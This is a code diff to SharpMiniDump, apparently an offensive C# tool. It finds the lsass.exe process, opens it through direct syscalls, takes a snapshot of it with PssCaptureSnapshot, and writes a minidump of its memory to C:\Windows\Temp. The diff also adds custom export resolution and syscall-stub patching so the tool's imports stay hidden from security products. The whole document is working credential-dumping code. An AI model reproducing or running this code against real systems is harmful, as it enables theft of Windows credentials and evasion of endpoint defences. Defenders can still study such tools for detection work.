+            public ulong Rax;
+            public ulong Rcx;
+            public ulong Rdx;
+            public ulong Rbx;
+            public ulong Rsp;
+            public ulong Rbp;
+            public ulong Rsi;
+            public ulong Rdi;
+            public ulong R8;
+            public ulong R9;
+            public ulong R10;
+            public ulong R11;
+            public ulong R12;
+            public ulong R13;
+            public ulong R14;
+            public ulong R15;
+            public ulong Rip;
+
+            public XSAVE_FORMAT64 DUMMYUNIONNAME;
+
+            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
+            public M128A[] VectorRegister;
+            public ulong VectorControl;
+
+            public ulong DebugControl;
+            public ulong LastBranchToRip;
+            public ulong LastBranchFromRip;
+            public ulong LastExceptionToRip;
+            public ulong LastExceptionFromRip;
+        }
 
 
+        public static IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId)
+        {
+            Natives.CLIENT_ID clientid = new Natives.CLIENT_ID();
+            clientid.UniqueProcess = (IntPtr)processId;
+            clientid.UniqueThread = IntPtr.Zero;
+
+            IntPtr hProcess = IntPtr.Zero;
+
+            Natives.OBJECT_ATTRIBUTES objAttribute = new Natives.OBJECT_ATTRIBUTES();
+
+            NTSTATUS res = NativeSysCall.ZwOpenProcess10(ref hProcess, processAccess, objAttribute, ref clientid);
+
+            return hProcess;
+        }
+
+        private static IntPtr GetNtDll()
+        {
+
+            return LoadLibrary("ntdll.dll");
+
+        }
+
+        
+        public static int NtFilterToken(IntPtr TokenHandle, uint Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken)
+        {
+            IntPtr proc = GetProcAddress(GetNtDll(), "NtFilterToken");
+            NativeSysCall.Delegates.NtFilterToken NtSetInformationToken = (NativeSysCall.Delegates.NtFilterToken)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.NtFilterToken));
+            return NtFilterToken(TokenHandle, Flags, SidsToDisable, PrivilegesToDelete, RestrictedSids, ref hToken);
+        }
+        
+        private static IntPtr GetKernel32()
+        {
+
+            return LoadLibrary("Kernel32.dll");
+
+        }
+
+        private static IntPtr GetKernelbase()
+        {
+
+            return LoadLibrary("Kernelbase.dll");
+
+        }
+
+        private static IntPtr GetAdvapi32()
+        {
+
+            return LoadLibrary("Advapi32.dll");
+
+        }
+
+        private static IntPtr GetDbgcore()
+        {
+
+            return LoadLibrary("dbgcore.dll");
+
+        }
+
+        public static IntPtr GetCurrentProcess()
+        {
+            IntPtr proc = GetProcAddress(GetKernel32(), "GetCurrentProcess");
+            NativeSysCall.Delegates.GetCurrentProcess GetCurrentProcess = (NativeSysCall.Delegates.GetCurrentProcess)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.GetCurrentProcess));
+            return GetCurrentProcess();
+        }
+
+        public static bool CloseHandle(IntPtr handle)
+        {
+            IntPtr proc = GetProcAddress(GetKernel32(), "CloseHandle");
+            NativeSysCall.Delegates.CloseHandle CloseHandle = (NativeSysCall.Delegates.CloseHandle)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.CloseHandle));
+            return CloseHandle(handle);
+        }
+
+        public static bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize)
+        {
+            IntPtr proc = GetProcAddress(GetKernelbase(), "UpdateProcThreadAttribute");
+            NativeSysCall.Delegates.UpdateProcThreadAttribute UpdateProcThreadAttribute = (NativeSysCall.Delegates.UpdateProcThreadAttribute)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.UpdateProcThreadAttribute));
+            return UpdateProcThreadAttribute(lpAttributeList, dwFlags, Attribute, lpValue, cbSize, lpPreviousValue, lpReturnSize);
+        }
+
+        public static bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize)
+        {
+            IntPtr proc = GetProcAddress(GetKernelbase(), "InitializeProcThreadAttributeList");
+            NativeSysCall.Delegates.InitializeProcThreadAttributeList InitializeProcThreadAttributeList = (NativeSysCall.Delegates.InitializeProcThreadAttributeList)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.InitializeProcThreadAttributeList));
+            return InitializeProcThreadAttributeList(lpAttributeList, dwAttributeCount, dwFlags, ref lpSize);
+        }
+
+        public static bool RtlGetVersion(ref OSVERSIONINFOEXW lpVersionInformation)
+        {
+            IntPtr proc = GetProcAddress(GetNtDll(), "RtlGetVersion");
+            NativeSysCall.Delegates.RtlGetVersion RtlGetVersion = (NativeSysCall.Delegates.RtlGetVersion)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlGetVersion));
+            return RtlGetVersion(ref lpVersionInformation);
+        }
+
+        public static bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect)
+        {
+            IntPtr proc = GetProcAddress(GetKernelbase(), "VirtualProtect");
+            NativeSysCall.Delegates.VirtualProtect VirtualProtect = (NativeSysCall.Delegates.VirtualProtect)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.VirtualProtect));
+            return VirtualProtect(lpAddress, dwSize, flNewProtect, out lpflOldProtect);
+        }
+
+        public static bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint newprotect, out uint oldprotect)
+        {
+            IntPtr proc = GetProcAddress(GetKernelbase(), "VirtualProtectEx");
+            NativeSysCall.Delegates.VirtualProtectEx VirtualProtectEx = (NativeSysCall.Delegates.VirtualProtectEx)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.VirtualProtectEx));
+            return VirtualProtectEx(hProcess, lpAddress, dwSize, newprotect, out oldprotect);
+        }
+
+        public static UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Natives.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
+        {
+            IntPtr proc = GetProcAddress(GetNtDll(), "LdrLoadDll");
+            NativeSysCall.Delegates.LdrLoadDll LdrLoadDll = (NativeSysCall.Delegates.LdrLoadDll)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.LdrLoadDll));
+            return (uint)LdrLoadDll(PathToFile, dwFlags, ref ModuleFileName, ref ModuleHandle);
+        }
+
+        public static void RtlInitUnicodeString(ref Natives.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
+        {
+            IntPtr proc = GetProcAddress(GetNtDll(), "RtlInitUnicodeString");
+            NativeSysCall.Delegates.RtlInitUnicodeString RtlInitUnicodeString = (NativeSysCall.Delegates.RtlInitUnicodeString)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlInitUnicodeString));
+            RtlInitUnicodeString(ref DestinationString, SourceString);
+        }
+
+        public static  bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength)
+        {
+            IntPtr proc = GetProcAddress(GetKernelbase(), "GetTokenInformation");
+            NativeSysCall.Delegates.GetTokenInformation GetTokenInformation = (NativeSysCall.Delegates.GetTokenInformation)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.GetTokenInformation));
+            return GetTokenInformation( TokenHandle,  TokenInformationClass,  TokenInformation,  TokenInformationLength, out  ReturnLength);
+        }
+
+        public static bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken)
+        {
+            IntPtr proc = GetProcAddress(GetKernelbase(), "OpenProcessToken");
+            NativeSysCall.Delegates.OpenProcessToken OpenProcessToken = (NativeSysCall.Delegates.OpenProcessToken)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.OpenProcessToken));
+            return OpenProcessToken( hProcess,  dwDesiredAccess, out  hToken);
+        }
+
+        public static bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, Microsoft.Win32.SafeHandles.SafeFileHandle hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam)
+        {
+            IntPtr proc = GetProcAddress(GetDbgcore(), "MiniDumpWriteDump");
+            NativeSysCall.Delegates.MiniDumpWriteDump MiniDumpWriteDump = (NativeSysCall.Delegates.MiniDumpWriteDump)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.MiniDumpWriteDump));
+            return MiniDumpWriteDump( hProcess,  ProcessId,  hFile,  DumpType,  ExceptionParam,  UserStreamParam,  CallbackParam);
+        }
+
+        public static bool LookupPrivilegeValue(String lpSystemName, String lpName, ref LUID luid)
+        {
+            IntPtr proc = GetProcAddress(GetAdvapi32(), "LookupPrivilegeValueA");
+            NativeSysCall.Delegates.LookupPrivilegeValue LookupPrivilegeValue = (NativeSysCall.Delegates.LookupPrivilegeValue)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.LookupPrivilegeValue));
+            return LookupPrivilegeValue( lpSystemName,  lpName, ref  luid);
+        }
+
+        public static  bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, ref TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes)
+        {
+            IntPtr proc = GetProcAddress(GetAdvapi32(), "AdjustTokenPrivileges");
+            NativeSysCall.Delegates.AdjustTokenPrivileges AdjustTokenPrivileges = (NativeSysCall.Delegates.AdjustTokenPrivileges)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.AdjustTokenPrivileges));
+            return AdjustTokenPrivileges( TokenHandle,  DisableAllPrivileges, ref  NewState,  BufferLengthInBytes, ref  PreviousState, out  ReturnLengthInBytes);
+        }
+
+        public static int PssCaptureSnapshot(IntPtr ProcessHandle, PSS_CAPTURE_FLAGS CaptureFlags, int ThreadContextFlags, ref IntPtr SnapshotHandle)
+        {
+            IntPtr proc = GetProcAddress(GetKernel32(), "PssCaptureSnapshot");
+            NativeSysCall.Delegates.PssCaptureSnapshot PssCaptureSnapshot = (NativeSysCall.Delegates.PssCaptureSnapshot)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.PssCaptureSnapshot));
+            return PssCaptureSnapshot( ProcessHandle,  CaptureFlags,  ThreadContextFlags, ref SnapshotHandle);
+        }
+
+        public static IntPtr GetProcAddress(IntPtr hModule, string procName)
+        {
+            return CustomLoadLibrary.GetExportAddress(hModule, procName);
+        }
+
+
+        public static IntPtr LoadLibrary(string name)
+        {
+            return CustomLoadLibrary.GetDllAddress(name, true);
+        }
     }
 }

SharpMiniDump/Program.cs

@@ -7,15 +7,22 @@
 using System;
 using System.ComponentModel;
 using System.Diagnostics;
+using System.IO;
 using System.Runtime.InteropServices;
+using System.Threading;
 
 namespace SharpMiniDump
 {
-    class Program
+    
+    public class Program
     {
         static void Main(string[] args)
         {
+            Execute(args);
+        }
 
+        public static void Execute(string[] args)
+        {
             if (IntPtr.Size != 8)
             {
                 return;
@@ -34,13 +41,7 @@ namespace SharpMiniDump
             Natives.OSVERSIONINFOEXW osInfo = new Natives.OSVERSIONINFOEXW();
             osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo);
 
-            //I know, this is not realy needed but today I have fun on run stuff dynamically :D
+            Natives.RtlGetVersion(ref osInfo);
-            IntPtr ntdll = Natives.LoadLibraryA("ntdll.dll");
-            IntPtr proc = Natives.GetProcAddress(ntdll, "RtlGetVersion");
-
-            NativeSysCall.Delegates.RtlGetVersion RtlGetVersion = (NativeSysCall.Delegates.RtlGetVersion)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlGetVersion));
-
-            RtlGetVersion(ref osInfo);
 
             pWinVerInfo.chOSMajorMinor = osInfo.dwMajorVersion + "." + osInfo.dwMinorVersion;
 
@@ -53,10 +54,7 @@ namespace SharpMiniDump
 
             pWinVerInfo.SystemCall = 0x3F;
 
-            proc = Natives.GetProcAddress(ntdll, "RtlInitUnicodeString");
+            Natives.RtlInitUnicodeString(ref pWinVerInfo.ProcName, @"lsass.exe");
-
-            NativeSysCall.Delegates.RtlInitUnicodeString RtlInitUnicodeString = (NativeSysCall.Delegates.RtlInitUnicodeString)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlInitUnicodeString));
-            RtlInitUnicodeString(ref pWinVerInfo.ProcName, @"lsass.exe");
             pWinVerInfo.hTargetPID = (IntPtr)Process.GetProcessesByName("lsass")[0].Id;
 
             pWinVerInfo.lpApiCall = "NtReadVirtualMemory";
@@ -74,7 +72,7 @@ namespace SharpMiniDump
             IntPtr hProcess = IntPtr.Zero;
 
             Natives.OBJECT_ATTRIBUTES objAttribute = new Natives.OBJECT_ATTRIBUTES();
-            // objAttribute.ObjectName = null;
+
 
             var status = NativeSysCall.ZwOpenProcess10(ref hProcess, Natives.ProcessAccessFlags.All, objAttribute, ref clientid);
 
@@ -84,8 +82,33 @@ namespace SharpMiniDump
                 return;
             }
 
+            Console.WriteLine("[*] ZwOpenProcess10  " + status);
+
+            Natives.PSS_CAPTURE_FLAGS flags = Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_VA_CLONE
+        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLES
+        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_NAME_INFORMATION
+        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_BASIC_INFORMATION
+        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION
+        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_TRACE
+        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREADS
+        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREAD_CONTEXT
+        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREAD_CONTEXT_EXTENDED
+        | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_BREAKAWAY
+        | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_BREAKAWAY_OPTIONAL
+        | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_USE_VM_ALLOCATIONS
+        | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_RELEASE_SECTION;
+
+            IntPtr SnapshotHandle = IntPtr.Zero;
+            int pss = Natives.PssCaptureSnapshot(hProcess,flags, 1048607,ref SnapshotHandle);
+            Console.WriteLine("[*] PssCaptureSnapshot " + pss);
+            if (SnapshotHandle == IntPtr.Zero)
+            {
+                Console.WriteLine("[x] Error PssCaptureSnapshot  ");
+                return;
+            }
+
             Natives.UNICODE_STRING uFileName = new Natives.UNICODE_STRING();
-            RtlInitUnicodeString(ref uFileName, @"\??\C:\Windows\Temp\dumpert.dmp");
+            Natives.RtlInitUnicodeString(ref uFileName, @"\??\C:\Windows\Temp\dumpert.dmp");
 
             Microsoft.Win32.SafeHandles.SafeFileHandle hDmpFile;
             IntPtr hElm = IntPtr.Zero;
@@ -129,10 +152,13 @@ namespace SharpMiniDump
                 return;
             }
 
-            IntPtr Dbghelp = Natives.LoadLibraryA("Dbghelp.dll");
+            
-            proc = Natives.GetProcAddress(Dbghelp, "MiniDumpWriteDump");
+            Natives.MINIDUMP_CALLBACK_INFORMATION CallbackInfo = new Natives.MINIDUMP_CALLBACK_INFORMATION();
+            CallbackInfo.CallbackRoutine = Program.MyMiniDumpWriteDumpCallback;
+            CallbackInfo.CallbackParam = IntPtr.Zero;
 
-            NativeSysCall.Delegates.MiniDumpWriteDump MiniDumpWriteDump = (NativeSysCall.Delegates.MiniDumpWriteDump)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.MiniDumpWriteDump));
+            IntPtr pCallbackInfo = Marshal.AllocHGlobal(Marshal.SizeOf(CallbackInfo));
+            Marshal.StructureToPtr(CallbackInfo, pCallbackInfo, false);
 
             IntPtr ExceptionParam = IntPtr.Zero;
             IntPtr UserStreamParam = IntPtr.Zero;
@@ -140,8 +166,8 @@ namespace SharpMiniDump
 
             Console.WriteLine("[*] Target PID " + pWinVerInfo.hTargetPID);
             Console.WriteLine("[*] Generating minidump.... " + pWinVerInfo.hTargetPID);
-
+            
-            if (!MiniDumpWriteDump(hProcess, (uint)pWinVerInfo.hTargetPID, hDmpFile, 2, ExceptionParam, UserStreamParam, CallbackParam))
+            if (!Natives.MiniDumpWriteDump(SnapshotHandle, (uint)pWinVerInfo.hTargetPID, hDmpFile, 2, ExceptionParam, UserStreamParam, pCallbackInfo))
             {
                 Console.WriteLine("[x] Error MiniDumpWriteDump  ");
                 NativeSysCall.ZwClose10(hProcess);
@@ -160,7 +186,7 @@ namespace SharpMiniDump
             byte[] AssemblyBytes = { 0x4C, 0x8B, 0xD1, 0xB8, 0xFF };
             AssemblyBytes[4] = (byte)pWinVerInfo.SystemCall;
 
-            IntPtr ntdll = Natives.LoadLibraryA("ntdll.dll");
+            IntPtr ntdll = Natives.LoadLibrary("ntdll.dll");
             IntPtr proc = Natives.GetProcAddress(ntdll, pWinVerInfo.lpApiCall);
 
             IntPtr lpBaseAddress = proc;
@@ -216,29 +242,33 @@ namespace SharpMiniDump
 
         private static bool TokenIsElevated(IntPtr hToken)
         {
-            //https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Credentials/Tokens.cs
+            Natives.TOKEN_ELEVATION tk = new Natives.TOKEN_ELEVATION();
-            UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(UInt32));
+            tk.TokenIsElevated = 0;
-            IntPtr tokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UInt32)));
+            
+            IntPtr lpValue = Marshal.AllocHGlobal(Marshal.SizeOf(tk));
+            Marshal.StructureToPtr(tk, lpValue, false);
+
+            UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(Natives.TOKEN_ELEVATION));
             UInt32 returnLength;
 
             Boolean result = Natives.GetTokenInformation(
                 hToken,
-                Natives.TOKEN_INFORMATION_CLASS.TokenElevationType,
+                Natives.TOKEN_INFORMATION_CLASS.TokenElevation,
-                tokenInformation,
+                lpValue,
                 tokenInformationLength,
                 out returnLength
             );
 
-            switch ((Natives.TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(tokenInformation))
+            Natives.TOKEN_ELEVATION elv = (Natives.TOKEN_ELEVATION)Marshal.PtrToStructure(lpValue, typeof(Natives.TOKEN_ELEVATION));
+            
+            if (elv.TokenIsElevated == 1)
+            {             
+                return true;
+            }
+            else
             {
-                case Natives.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault:
+
-                    return false;
+                return false;
-                case Natives.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull:
-                    return true;
-                case Natives.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited:
-                    return false;
-                default:
-                    return true;
             }
         }
 
@@ -273,5 +303,15 @@ namespace SharpMiniDump
             return true;
         }
 
+        private static bool MyMiniDumpWriteDumpCallback(IntPtr CallbackParam, ref Natives.MINIDUMP_CALLBACK_INPUT CallbackInput, ref Natives.MINIDUMP_CALLBACK_OUTPUT CallbackOutput)
+        {
+            switch (CallbackInput.CallbackType)
+	        {
+	        case Natives.MINIDUMP_CALLBACK_TYPE.IsProcessSnapshotCallback: // IsProcessSnapshotCallback
+                CallbackOutput.Status = 1;
+		        break;
+	        }
+	        return true;
+        }
     }
 }

SharpMiniDump/SharpMiniDump.csproj

@@ -52,6 +52,9 @@
     <ErrorReport>prompt</ErrorReport>
     <CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
   </PropertyGroup>
+  <PropertyGroup>
+    <StartupObject />
+  </PropertyGroup>
   <ItemGroup>
     <Reference Include="System" />
     <Reference Include="System.Core" />
@@ -62,6 +65,7 @@
     <Reference Include="System.Xml" />
   </ItemGroup>
   <ItemGroup>
+    <Compile Include="CustomLoadLibrary.cs" />
     <Compile Include="Natives.cs" />
     <Compile Include="NativeSysCall.cs" />
     <Compile Include="Program.cs" />